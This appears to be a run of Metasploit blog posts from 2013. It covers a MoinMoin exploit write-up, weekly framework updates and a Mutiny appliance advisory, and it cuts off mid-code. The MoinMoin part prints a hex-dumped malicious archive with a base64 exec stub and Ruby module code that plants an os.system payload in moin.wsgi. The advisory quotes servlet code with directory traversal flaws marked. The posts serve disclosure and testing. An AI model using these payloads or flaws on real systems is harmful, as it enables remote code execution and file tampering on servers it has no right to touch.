00000090  30 30 30 00 30 33 30 32  32 33 00 20 30 00 00 00  |000.030223. 0...|

000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000100  00 75 73 74 61 72 00 30  30 75 73 65 72 00 00 00  |.ustar.00user...|

00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000120  00 00 00 00 00 00 00 00  00 67 72 6f 75 70 00 00  |.........group..|

00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000140  00 00 00 00 00 00 00 00  00 30 30 30 30 30 30 30  |.........0000000|

00000150  00 30 30 30 30 30 30 30  00 00 00 00 00 00 00 00  |.0000000........|

00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000200  5b 4d 41 52 4b 5d 65 78  65 63 20 22 49 79 41 74  |[MARK]exec "IyAt|

00000210  4b 69 30 67 59 32 39 6b  61 57 35 6e 4f 69 42 70  |Ki0gY29kaW5nOiBp|

00000220  63 32 38 74 4f 44 67 31  4f 53 30 78 49 43 30 71  |c28tODg1OS0xIC0q|

00000230  4c 51 6f 4b 61 57 31 77  62 33 4a 30 49 48 4e 35  |LQoKaW1wb3J0IHN5|

// Cut to improve blog readability

 

The first piece of python, at the offset 0, will read the current file, search the [MARK] marks, and finally exec() the content. This piece of python comes from the "filename" extension and can't include "." chars. Because of these limitations it's just an stub. The contents of the [MARK] is indeed the final python payload and comes from the full controlled, unrestricted "filepath" request parameter.


So far so good, the only question which remains is where to write, in the MoinMoin context, to get remote code execution. The MoinMelt exploit uses two approaches. And these two methods are evaluated having into account the recommended deployment method by MoinMoin, which is to use Apache with mod_wsgi:

 

  1. Create a new MoinMoin action: There are some drawbacks with this method. The first one is which, when doing a system-wide installation, the MoinMoin code is installed in the python LIB path by default, which could be not easily reachable from the wiki instance directory, where the attachment containers are created by default. Also the web server user could not have permissions to write on the file dir after the a default system-wide installation. Plus Apache restar could be required.
  2. Overwrite the moin.wsgi file. Or what is the same, overwrite the configured WSGIScriptAlias, by default named moin.wsgi and installed on the root of the wiki instance directory. The advantages of this method are:
    • By default is installed on the wiki instance directory, so easily reachable from the attachment containers default directory.
    • Apache restart isn't required, when there is a new request to process, a new thread (and worker) will be spawn which will start the python execution on the moin.wsgi file. So immediate execution of the uploaded payload can be achieved.


The second method is the used on the Metasploit module developed to test and exploit this vulnerability. Unfortunately, as the reader maybe is guessing, there is a big drawback with this method. After exploitation, requests processed by mod_wsgi will use the corrupted mod.wsgi file which will result on a denial of service of the MoinMoin wiki. In order to mitigate it two safeguards have been applied:


  • At exploitation time, the moin.wsgi file is overwritten with python code which, after payload execution, tries to launch the MoinMoin application using the default installation path "/usr/local/share/moin" for the MoinMoin instance (thanks egypt for the idea!):


# Upload payload
print_status("Trying to upload payload...")
python_cmd = "import sys, os\n"
python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n"
python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n"
python_cmd << "from MoinMoin.web.serving import make_application\n"
python_cmd << "application = make_application(shared=True)"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res
  fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
end



  • A post exploitation task has been added, where the module will try to find the moin.wsgi on the default installation path, and restore it with a basic one (start to read on the on_new_session() callback):

 

def moinmoin_template(path)
  template =[]
  template << "# -*- coding: iso-8859-1 -*-"
  template << "import sys, os"
  template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
  template << "from MoinMoin.web.serving import make_application"
  template << "application = make_application(shared=True)"
  return template
end


def restore_file(session, file, contents)
  first = true
  contents.each {|line|
  if first
  session.shell_command_token("echo \"#{line}\" > #{file}")
  first = false
  else
  session.shell_command_token("echo \"#{line}\" >> #{file}")
  end
  }
end


# Try to restore a basic moin.wsgi file with the hope of making the
# application usable again.
# Try to search on /usr/local/share/moin (default search path) and the
# current path (apache user home). Avoiding to search on "/" because it
# could took long time to finish.
def on_new_session(session)
  print_status("Trying to restore moin.wsgi...")
  begin
  files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
  files.split.each { |file|
  print_status("#{file} found! Trying to restore...")
  restore_file(session, file, moinmoin_template(file))
  }


  files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
  files.split.each { |file|
  print_status("#{file} found! Trying to restore...")
  restore_file(session, file, moinmoin_template(file))
  }
  print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
  rescue
  print_warning("Error while restring moin.wsgi, manual restoring would be required.")
  end
end















 

As documented in the code, it doesn't try to search the full filesystem because it could take a long time on real deployments where big disks could be used.  On the other hand, after exploitation, the user still could manually try to restore the moin.wsgi by locating the Apache configuration and searching the WSGIScriptAlias directive. Its value should point to the location of the moin.wsgi file.

 

So far so good, once the details, pros and contras have been explained, time to enjoy the Metasploit module:

 

exploit.png

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

egypt

Weekly Update: Smaller is Better

Posted by egypt Employee Jun 20, 2013

In this week's episode, the role of Tod Beardsley will be played by egypt.

 

Smaller is better

Perhaps the most prominent addition to the framework this week is not an addition at all, but rather a deletion. We've been working toward a slimmer, more manageable source tree for a while now, and as part of that effort, we recently removed a pile of old-and-busted unit tests. This update goes a bit further, moving source code for some compiled payloads into seperate repositories. Metasploit's version of Javapayload (which includes Java and Android Meterpreter) can now be found at rapid7/metasploit-javapayload, the native C meterpreter lives in rapid7/meterpreter, and the excellent packet manipulation library, PacketFu, has been pulled out of the tree in favor of the standalone gem. As so often is the case when anything involving Java arises, thanks again go to mihi for his help with a consolidated java build environment. By my calculations, the framework repository is now somewhere in the neighborhood of 45MB lighter.

 

Less is more

Another thing that has gotten much smaller is our pull queue, thanks to the tireless efforts of the lovely wvu. Having someone working full-time on ticket husbandry has made many things go more smoothly, and as a result the number of pull requests and unresolved issues has been steadily falling.  Which, of course, means that now is a great time to submit that patch you've been meaning to write!

 

New Modules

This week brings 6 new modules:

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Stable is for Suckers!

Today on the Freenode IRC channel #metasploit, a user was asking about our old SVN repository for "unstable" Metasploit modules. He was lamenting its loss, since we recently shut down our SVN services (described in this blog post on May 22, 2013).

 

Fear not, danger-seekers! "Unstable" does live on in the form of a GitHub branch. You can check it out at https://github.com/rapid7/metasploit-framework/tree/unstable, and take a look at the unstable-modules directory. Most of the modules in there ran into some kind of trouble in testing or are too unreliable to package up and ship in Metasploit proper. But who knows? Opening up the unstable-modules directory is like buying a mystery box at auction, so you might find a lost treasure, or a mass of half-rotten comicbooks. If you're interested in that sort of thing, just be sure to check the history of the module in question to understand what all happened with it. This is usually pretty easy by reading the commit history and contacting the original author.

 

Another source for interesting-but-unshipped modules is Rob @mubix Fuller's Q Repository. Oftentimes, things that don't quite fit with the Metasploit main distro will end up here. I am totally on board with someone other than Rapid7 maintaining alternate streams of free, open source, unencumbered Metasploit modules. After all, why should we have all the fun spreading open source cheer around the Internet?

 

If you're after these modules for reasons beyond mere intellectual curiosity -- like, you actually want to use them -- all you need to do is create a directory structure like $HOME/.msf4/modules/auxiliary/test (or exploits/test, post/test, etc), and drop them in. You can change the name "test" to whatever you like, but you must declare what sort of module it is in the path. When you run msfconsole, those modules will be scooped up, and ready to use. Naturally, your mileage may vary, and there is certainly no guarantee that these modules are safe and appropriate for your network, but hey, stable is for suckers!

 

Heavy-handed UPnP Mitigation

Hey, remember that time HD Moore talked about all the zillions of UPnP devices that have broken implementations and vulnerable to remote exploitation? Yeah, that was pretty fun. Of course, it's less funny if you are responsible for some of these devices in your network. Is the ownership of these devices in your network unclear? Are they business critical, or not? Sometimes, it's hard to tell.

 

In my more Lawful Evil moments, it occurs to me that pretty much the fastest way to ferret out ownership of a device is to kick it offline and then find out who squawks. To that end, we have a Denial of Service module that kicks MiniUPnP 1.0 devices offline by exercising CVE-2013-0229, thanks to community contributor Dejan Lukan's implementation of HD's vulnerability discovery.

 

DoSes certainly can attract attention to a problem implementation. If the device is important enough to keep online, it's probably important enough to protect through some mind of mitigating strategy. Should you really DoS critical industrial control equipment that happens to have a single-packet kill vulnerability? Maybe the better question to ask is, "Is it better to wait for a bad guy to knock this industrial control gear offline on his schedule, or should I do it on my schedule?" Something to think about, anyway.

 

GNU AWK Bind and Reverse Shells

Once upon a time, the advice to system administrators hardening DMZ-based servers was to yank useful developer tools from those machines, since post-compromise, an attacker could use them to extend control. What this meant, at the time, was that you wouldn't want to have gcc or some other compiler installed on your web server, because you don't want to allow attackers to compile shells and backdoors and stuff like that locally. You'd also want to remove (or at least limit) interpreters like Perl or Python, for largely the same reasons.


I'm not entirely convinced that this is realistic advice; it would be difficult for a system administrator to perform job functions without some kind of programming help. And in this day and age of DevOps, where configuration management is increasingly the job of interpreted languages, the benefits of stripping system tools off a server may just not stack up to the cost of not having them there when you need them legitimately.

 

That all said, if you happen to run into a CentOS / RedHat based system that is configured by a paranoid, you might want to check if GNU awk is installed (as it is by default). If so, you could leverage this particular flavor of awk and use its built-in socket capabilities to open either a bind shell or reverse shell, thanks to the two new payloads provided by community contributors Roberto Soares and Ulisses Castro. It's at the very least novel, and may avoid IPS/IDS string checkers that are looking for the more traditional Perl and bash-based sockets. And hey, is there really a good reason why I need to be able to bind to a socket with just awk?

 

New Modules

We've got seven new Metasploit modules this week, not counting the aforementioned AWK payloads. Enjoy!

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Screen Shot 2013-06-05 at 3.26.46 PM.pngEveryone loves a good cyber-espionage story, and we love to put China under the spotlight.  Why? Because their methods work.  China has some well known hacking groups that have conducted cyber-espionage-oriented attacks, such as the Elderwood Group, Unit 61398, the Nitro gang, etc.  As far as we know, most of these groups tend to use some kind of 0day exploit to gain acces of the targeted organization, and then steal terabytes of data for years.  However, by studying these hacking groups, we also learned that a successful APT doesn't always require an 0day, whatever gets the job done is more than enough, and NetTravler demonstrates just that.

 

According to a recent research paper by Kaspersky, the Chinese-based hacking group NetTraveler tends to get their victims infected through spear-fishing attacks using exploits that are already publicly known, specifically CVE-2010-3333 and CVE-2012-0158.  Although already patched, these vulnerabilities still remain effective, and are among the most exploited in recent attacks, for example:  Tibetan/Uyghur activists, oil industry companies, scientific research centers, universities, private companies, governments and military contractors, etc.  And of course, they've stolen more than 22+ gigabytes of data because they 1337.

 

This is all kind of depressing (or amusing?) to hear especially when our memory is still fresh about HD Moore's talk about how many percent of the Internet still remain insecure, and NetTraveler kind of verifies that claim by shoving old exploits in the US government's faces.  Hey guess what?  As a high profile target, you can prevent that.  If you run a system update, your vulnerable software will tell you your stuff is outdated.  If you run a vulnerability scanner, the scanner will tell you you're waiting to be exploited.  If you run a penetration testing framework like Metasploit, shells will be popped, and that should be a red flag for you.

 

CVE-2012-0158 is a vulnerability in Microsoft Office.  There is a Metasploit module (ms12_027_mscomctl_bof.rb) that specifically targets Office 2007 and Office 2010, written by Wei Chen and Juan Vazquez.  Demo (note: target specific):

 

Screen Shot 2013-06-05 at 5.43.51 PM.png

 

CVE-2010-3333 is a vulnerability in Microsoft Word. There is also a Metasploit module (ms10_087_rtf_pfragments_bof.rb) for it targeting Office 2003, 2010, and 2010.  Written by ex-Metasploit Exploit Developer Joshua J. Drake.  Demo:

 

Screen Shot 2013-06-05 at 5.41.58 PM.png

 

If you're new to Metasploit and you'd like to try it out, you can download Metasploit for Linux or Windows for free.

Apache Struts Exploit

This week's update includes an exploit for a pretty recent vulnerability in Apache Struts, thanks to community contributor Richard @Console Hicks. The struts_include_param module exercises the vulnerability described at OSVDB 93645, disclosed on May 23, 2013, a bare two weeks ago, and originally discovered by Eric Kobrin and Douglad Rodrigues.

 

The reason why I bring this up is not just because it's a solid exploit for a recent vulnerability (it is), but also because it illustrates, to a small extent, the Metasploit philosophy of disclosing working, tested exploits pretty much as soon as vulnerabilities are made public.

 

If you are bothered by this stance, then maybe it's time to drag out a dusty old security meme: Defense in Depth. I know for sure there are IT operations folks out there who believe that there is absolutely nothing they can do in the face of zero-day vulnerabilities. This is a horrible, horrible place to be. The fact is, there are volumes and volumes written on defense in depth: you can segment your network, instrument your servers, keep an eye on egress rules, and generally make life a huge hassle for would-be attackers armed with zero (or 14, or 30) day vulnerabilities that you haven't patched against yet.

 

I'm heartened that Google appears to have taken a similiar stance on this, with their announced policy of disclosing active, in-the-wild exploits in the interest of public safety. An Internet giant like Google taking an anti-secrecy stance like this is pretty powerful, and I'm looking forward to the next few weeks of vulnerability disclosures from them.

 

Android Meterpreter

Once, a few weeks back, a fellow named timwr popped into the Metasploit IRC channel on Freenode and complained, rather rudely I might add, "How come there's no Android Meterpreter?" Egypt immediately responded with something along the lines of, "because you haven't written it yet." That, my friends, is how new ports of Meterpreter are made.

 

Timwr, mihi, and Egypt got together over the next several weeks, and as of May 28 or so, we now have a pretty decent Meterpreter app for Android. Expect a much more whiz-bang blog post on this soon, but in the meantime, it's pretty fun to mess around with it now. We don't have mcuh in the way of Android exploits right now, of course, but that brings me to another topic.

 

New Payloads

This week's update also includes new payloads for ARM and 64-bit Windows. We've three new payloads, all from community contributor @dcbz32, to create reverse TCP and reverse HTTPS connections, as well as a simple shell payload. Hooray, our ARM support is getting more robust all the time; now if only we could convince people to start writing up decent Android and embedded system exploits...

 

In addition, we also have a 64-bit Windows payload for reverse HTTPS, from community contributor agix. This has been a long standing feature request, because while in most cases, 32-bit payloads work just fine on 64-bit platforms, this isn't the case 100% of the time. While this payload works like a champ on Windows 7 and related platforms, it most notably is not supported for Windows 8 targets. Something funny is going on in Win8-land specifically, and it's proving squirrelly to nail down. So, good job to Microsoft for making post-exploit development a little bit harder on their latest platform (: . If you happen to have expertise in this area, we'd love to get your input on putting something solid together for Win8 reverse HTTPS connections as shellcode; ideally, we can end up with one payload for both 64-bit platforms.

 

New Modules

We've five new modules this week, including the Apache Struts exploit. Check 'em below.

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Nginx Exploit for CVE-2013-2028

The most exciting element of this week's update is the new exploit for Nginx which exercises the vulnerability described by CVE-2013-2028. The Metasploit module was written by Metasploit community contributors hal and saelo, and exploits Greg McManus's bug across a bunch of versions on a few pre-compiled Linux targets. We don't often come across remote, server-side stack buffer overflows in popular software, so when we do, it's kind of a big deal. This is a big deal vulnerability, and hopefully, Internet-facing ops guys all over the world have already fallen all over themselves to fix this.

 

And yet, recall Jeff Jarmoc's recent findings on the Rails vulnerability, where this critical, remote code execution vulnerability continues to be exploited the wild, five months after disclosure. Now, apply that to what's likely going to happen with this bug, a mere three weeks out from disclosure. Yeah, it's not pretty.

 

If you're running Nginx, and you haven't applied the patch or the workaround, you are asking for trouble. If you think you've applied the patch or the workaround, or if you don't know if you're running vulnerable version of Nginx or not, you can check your defensive posture with this Metasploit module.

 

Jettisoning old tests

The update this week also brings a slightly slimmed down version of Metasploit. Way back when, we shipped a couple hundred "unit tests" to exercise some core functionality. While it's true that these testing scripts used the default 'test/unit' library that ships with Ruby, we have since moved on to more complete, thorough testing using Rspec and running every commit through Travis-CI. Also, these old tests haven't been touched, literally, this decade, so bitrot has set in pretty hard.  Few of these tests still work, so it was best to just toss them and move on with rspec.

 

If you're of a mind to fix or extend core Metasploit functionality, when you write your fix, it would be delightful if you paid attention to the spec/ subdirectory. You can learn a lot from the several hundred example tests that are already there. Being able to prove that your patch actually fixes the problem described makes reviewing your pull request move along much, much faster. Tests can also do double duty as documentation of what you're expecting to happen.

 

In fact, if you were to write fixes and features following TDD (test-driven design), you'd do something like this:

  • Write an rspec test that fails, because it's hitting a bug or exercising an unwritten feature. Commit that.
  • Write your fix or feature.
  • Run your rspec test again, and see it succeed. Do a little dance and commit that, and send up a pull request.

 

You will probably uncover more of your feature or fix as you're writing; that's okay, just add another test before you start writing a fix. In this day and age of split windows and featureful IDEs, there's really no reason to avoid this kind of back-and-forth development.

 

If you want to recover the old tests, it's as simple as checking out Metasploit Framework's unstable branch on GitHub, and running a quick find . -name *\.u[ts]\.rb to locate them. About the only reason I can think of to do this is to port the tests that (used to) cover some core Rex, Railgun, and Meterpreter functionality. In fact, doing just that would make a fine summer past time for you infosec kids who are off for the next couple months.

 

Testing Metasploit modules is a little different. Ask anyone who knows Ruby pretty well, and they'll agree that Metasploit modules are a little... weird. They also tend to require some very specific, not-very-mockable environmental elements (like functional targets configured with specific vulnerabilities), so the usual rspec route doesn't work out too well with them. We're working on open sourcing some of our QA practices on how to test those as well, though, so stay tuned and keep an eye on the test/modules directory. A bunch of excitement should be landing there soon.

 

New Modules

In addition to the Nginx vulnerabilitu, we've got new modules for Firefox, IBM SPSS, and Adobe Reader.

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Metasploit 4.6.1 Released

This week's update bumps the patch version of Metasploit to 4.6.1 (for installed versions of Metasploit). The major change here is the ability to install Metasploit on Windows 8 and Windows Server 2012. That meant we had to fiddle with the installer and a few of Metasploit Pro's dependencies to get that all working correctly, and that led to skipping last week's release so we could be sure all the moving parts lined up correctly.

 

This release also fixes a few minor issues in Metasploit Pro that affected a handful of users -- you can read up on what exactly has changed in the release notes. As usual, it's a little bigger than you might expect from your typical update, given the changes in the installer code, so give it a couple extra minutes to download and do its update thing.

 

Intern Found!

If you've been watching this space, you'll know that we've been on the prowl for a summer intern. Welp, the search is over -- we've managed to pick up a well-qualified college student who has a strong background in both IT ops and exploit dev. If you have Pull Requests in the metasploit-framework backlog, or aging bugs in the Redmine Issue Tracker, then you should expect to meet him soon as he validates your pulls and bugs and gets your stuff back on track (or mercilessly axed).

 

Of course, this sort of backlog validation doesn't have to land on in paid intern's lap. If you're looking to beef up your resume, know a thing or two about IT security and Ruby, and are handy with VMware or Vagrant, you are more than welcome to throw in as well. We can always use extra validation inputs to our bugs and PR's. Even if you're not here in the Mazes of Metasploit, fixing bugs and getting your name attached to Metasploit commits is a pretty decent reference all by itself, paid or not.

 

SVN is Still Mostly Dead

This week we've locked up our SVN server at http://www.metasploit.com/svn with a pretty unguessable username and password. This is to discourage people from following the piles of pre-2011 documentation that's out there. The SVN lockdown is described at http://r-7.co/MSF-SVN in more detail, but the moral of the story is, don't even try to guess the password, and don't try to use your e-mail password or GitHub password or anything like that. The whole point of this new behavior is to merely transmit the instructions to move to Git in the WWW-Authenticate header.

 

New Modules

We've a fairly huge bucket full of exploits and auxiliary modules this week. Sixteen total, mostly around our 2013 theme of home access points and SAP installations. We're also shipping Juan's 1Day exploit for Mutiny appliances this week, as well as an exe dropper for SSH sessions from Spencer McIntyre and Brandon Knight.

 

Oh, and did you hear about the Linode compromise? Part of the incident centered around recent ColdFusion bugs. Now, I'm sure ColdFusion is a delightful language to work in and if you're CFM artiste, you probably have a ball every day working on your codebase. That said, it's not super popular language here in the 21st Century. This usually means that you're stuck with legacy-flavored security bugs, like the directory traversal vulnerability exercised by Hack The Planet and ported to Metasploit by Wei @_sinn3r Chen.

 

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

TL;DR: Please stop using SVN with

svn co https://www.metasploit.com/svn/framework3/trunk

and start using the GitHub repo with

git clone git://github.com/rapid7/metasploit-framework

 

As of today, a few of you may notice that an attempt to update Metasploit Framework over SVN (instead of git or msfupdate) results in an authentication request. If you try to SVN checkout on Windows, using TortoiseSVN, you will see a pop up much like this:

 

svn-auth-windows-tortoise.png

 

For command line people, if you try to 'svn co' or 'svn up' your checkout of Metasploit Framework you will read:

 

$ svn up Updating '.':
Authentication realm: <https://www.metasploit.com:443> =[ MSF must be updated via GitHub

or a more recent msfupdate. See http://r-7.co/MSF-SVN for more ]=

Password for 'yourname':

 

Please don't try any passwords you think you know. We've locked up SVN and we're using the authentication realm to communicate the correct update path to humans in a way readable by human eyeballs. The password prompt is incidental. If you've read this far, you might wonder why we're doing this.

 

On November 10, 2011, we moved our source control to GitHub, and we've been bugging people to use git instead of SVN ever since. However, the Internet exists in an eternal present tense. There are thousands and thousands documents, blog posts, books, and articles on 'Getting Started with Metasploit' in practically every human language spread all over the world, both on and offline, some of which we control, most of which we don't. If you don't believe me, just search for "svn co" metasploit.


Because of this, we're not ready to turn off SVN completely -- throwing a 404 error on an update will just generate more (than usual) complaints on Twitter, IRC, and mailing lists about 'svn co' and 'svn up' being broken. Those complaints are still happening today, so it's clear that some people are still stuck with way-out-of-date documentation. Hopefully, those folks will read the instruction in the HTTP authentication realm, since that's about the only way we can communicate with SVN-only clients.

 

If you are still on SVN, then converting to GitHub works like this:

 

  1. Don't try to use a password; if by some miracle you happen to guess a correct one, your prize is that you get some messed up, out of date SVN-sourced code. (:
  2. Delete your SVN checkout of Metasploit: rm -rf $HOME/metasploit (or the real path to your checkout).
  3. Clone the latest from GitHub: git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit (or the path where you want the clone).
  4. Go to your new Metasploit checkout, and run msfupdate: cd metasploit; ./msfupdate (this will get the bundle of Ruby gems together for you).


If you can't use the git:// URI handler, then use https:// instead. It's somewhat slower, but still a million times better than SVN. If bundler complains about gem dependencies, then check to make sure that you have a reasonable version of Ruby -- 1.9.3 is ideal. 1.8.x is out. 2.0.0 should be okay, but it's not vetted for prime time yet.


That's it. Everything will work as before -- your custom modules that you stashed in $HOME/.msf4/modules will be picked up, you will be gleefully tracking Metasploit's bleeding edge source branch, and now, your checkouts won't take hours and crash out on you.

 

If you use Metasploit Community, Metasploit Express, or Metasploit Pro, then basically none of this applies to you -- msfupdate was converted in Metasploit 4.5 to use use weekly updates, which means you're getting the benefit of both Rapid7 QA and community testing without bothering with git or SVN.

 

Below, you can find a smattering of documents and posts regarding msfupdate and tracking the Framework source, which will provide more detail on various aspects of the continuous state of Metasploit development. If your setup is not the simple case described here, you will probably find what you need in one of these documents:

 

Metasploit Development Environment · (metasploit-framework wiki)

Git while the gitting is good

Metasploit Moves from SVN to Git/GitHub

Update to the Metasploit Updates and msfupdate

Activating Metasploit to fix msfupdate: Start to Finish

Back in March we published an exploit module for Mutiny Remote Code Execution. Mutiny "is a self-contained appliance for monitoring network-attached devices such as servers, switches, routers and printers. It has been designed to be simple to use, being aimed at the person who is more interested in the actual data gathered rather than the science of gathering the data." (Source: Mutiny User Guide). That module abused CVE-2012-3001, a command injection issue in the frontend application which allowed any authenticated user, with access to the admin interface, to execute os commands with root privileges. While developing that exploit, we took a look at the last version of the Mutiny FrontEnd available at that time (5.0-1.07) and found others issues, grouped under CVE-2013-0136, which have the plus of being exploitable from any authenticated role.

 

Vulnerabilities Summary

 

The Mutiny Appliance provides a Web Frontend, where the users can configure the system and monitor the data collected by the appliance. The Frontend provides four access roles: “Super Admin”, “Administrator”, “Engineer” and “View only”. All the roles allow the user to access to the “Documents” section, where multiple weaknesses have been detected allowing

  • To delete any file from the remote file system with root privileges.
  • To copy and move files in the remote file system with root privileges, allowing also to download/retrieve these files.
  • To upload arbitrary files to the remote file system and ultimately execute arbitrary code with root privileges.

 

Disclosure Timeline

 

DateDescription
2013-03-08Initial discovery by Juan Vazquez, Metasploit Researcher
2013-03-09Draft advisory and Metasploit module written
2013-03-11Initial disclosure to the vendor, Mutiny Technology
2013-03-12

Follow-up with vendor

2013-03-27Disclosure to CERT/CC
2013-05-14Version 5.0-1.11 tested and not vulnerable to the disclosed exploitation (1)
2013-05-15Public Disclosure
2013-05-15Metasploit exploit module published

 

(1) Prior to public disclosure the last version available has been tested and the disclosed exploit techniques don't work anymore. The tested version has been "5.0-1.11 (EAGLe) - (02-05-13)". Since the vendor didn't warn us about the patch neither asked us to review the patch we can't assure the current patch is 100% confident and secure, neither have details about revisions between 5.0.1-07 and 5.0.1-11 which could be vulnerable. We encourage you to use the current Metasploit modules in order to test your Mutiny installation for the disclosed vulnerabilities.

 

Technical Analysis

 

The Web Frontend of Mutiny is provided in part by a Java Web Application. This frontend provides a "Documents" section for authenticated users for any role:

 

documents_view.PNG

The Documents functions are in part provided by a servlet named "EditDocument". This servlets provides several "Documents" functions such as upload, copy, move and delete documents:

 

protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
  throws ServletException, IOException
  .
  .
  s = httpservletrequest.getParameter("operation");
  if(ServletFileUpload.isMultipartContent(httpservletrequest))
  s = "UPLOAD";
  .
  .
  .
  if(!s.equals("NEW")) goto _L2; else goto _L1
  .
  .
  .
  if(!s.equals("RENAME")) goto _L5; else goto _L4
  .
  .
  .
  if(!s.equals("DELETE")) goto _L7; else goto _L6
  .
  .
  .
  if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8














 

  • The UPLOAD operation can be abused via a Directory Traversal vulnerability in the “uploadPath” parameter  to upload arbitrary file and contents to the remote filesystem with root privileges:

 

if(s.equals("UPLOAD"))
{
  ServletFileUpload servletfileupload = new ServletFileUpload(new DiskFileItemFactory());
  List list = null;
  try
  {
  list = servletfileupload.parseRequest(httpservletrequest);
  }
  catch(FileUploadException fileuploadexception)
  {
  fileuploadexception.printStackTrace();
  }
  String s6 = null;
  FileItem fileitem = null;
  Iterator iterator = list.iterator();
  do
  {
  if(!iterator.hasNext())
  break;
  FileItem fileitem1 = (FileItem)iterator.next();
  if(fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadPath"))
  s6 = fileitem1.getString(); // User controlled
  else
  if(!fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadFile"))
  fileitem = fileitem1; // User controlled
  } while(true);
  if(s6.length() == 0)
  {
  System.out.println("Error: uploadPath not set.");
  s6 = "/documents";
  }
  if(fileitem == null)
  {
  System.out.println("Error: uploadFile not set.");
  } else
  {
  File file5 = new File(DocumentUtils.root, s6); // Directory Traversal
  File file7 = new File(file5, fileitem.getName());
  file7.getParentFile().mkdirs();
  file7 = DocumentUtils.getUniqueFile(file7, false);
  file7.createNewFile();
  try
  {
  fileitem.write(file7); // Write file
  if(file7.exists() && file7.length() == fileitem.getSize())
  flag = true;
  if(debug)
  System.out.println((new StringBuilder()).append(s).append(": ").append(file7.getPath()).toString());
  }
  catch(Exception exception)
  {
  exception.printStackTrace();
  }
  }
}














 

  • The DELETE operation is also affected by a directory traversal vulnerability in the “paths[]” parameter, which allows to delete arbitrary files with root privileges:

 

_L5:
        if(!s.equals("DELETE")) goto _L7; else goto _L6
_L6:
        String as1[] = httpservletrequest.getParameterValues("paths[]"); // User controlled
        String as2[] = as1;
        int j = as2.length;
        for(int k = 0; k < j; k++)
        {
            String s7 = as2[k];
            File file6 = new File(DocumentUtils.root, s7); // Directory Traversal
            if(!isValid(file6))
                return;
            if(file6.isDirectory())
                FileUtils.deleteDirectory(file6); // Delete directory
            else
                flag = file6.delete(); // Delete file
            if(debug)
                System.out.println((new StringBuilder()).append("DELETE: ").append(file6.getPath()).toString());
        }














 

  • Also the CUT and COPY operation is also affected by directory traversal vulnerabilities in the “paths[]” and “newPath” parameters, which allows to copy and move files around the remote file system with root privileges:

 

        if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8
_L8:
        File file2;
        String as3[];
        String s4 = httpservletrequest.getParameter("newPath");
        file2 = new File(DocumentUtils.root, s4); // Directory Traversal in newPath
        as3 = httpservletrequest.getParameterValues("paths[]");
        if(as3 == null) goto _L3; else goto _L10
_L10:
        String as4[];
        int l;
        int i1;
        as4 = as3;
        l = as4.length;
        i1 = 0;
_L11:
        File file8;
        File file9;
        FileInputStream fileinputstream;
        FileOutputStream fileoutputstream;
        if(i1 >= l)
            break; /* Loop/switch isn't completed */
        String s8 = as4[i1];
        file8 = new File(DocumentUtils.root, s8); // Directory traversal in paths[]
        if(!isValid(file8))
            return;
        file9 = new File(file2, file8.getName()); // Directory traversal in newPath
        file9 = DocumentUtils.getUniqueFile(file9, file8.isDirectory());
        if(debug)
            System.out.println((new StringBuilder()).append(s).append(": ").append(file9.getPath()).toString());
        file9.getParentFile().mkdirs();
        if(s.equals("CUT"))
        {
            flag = file8.renameTo(file9); // CUT operation affected by directory traversals
            break MISSING_BLOCK_LABEL_881;
        }
        if(!s.equals("COPY"))
            break MISSING_BLOCK_LABEL_881;
        if(!file9.exists())
            file9.createNewFile();
        fileinputstream = null;
        fileoutputstream = null;
        fileinputstream = new FileInputStream(file8); // COPY operationaffected by directory traversals
        fileoutputstream = new FileOutputStream(file9);
        byte abyte0[] = new byte[4096];
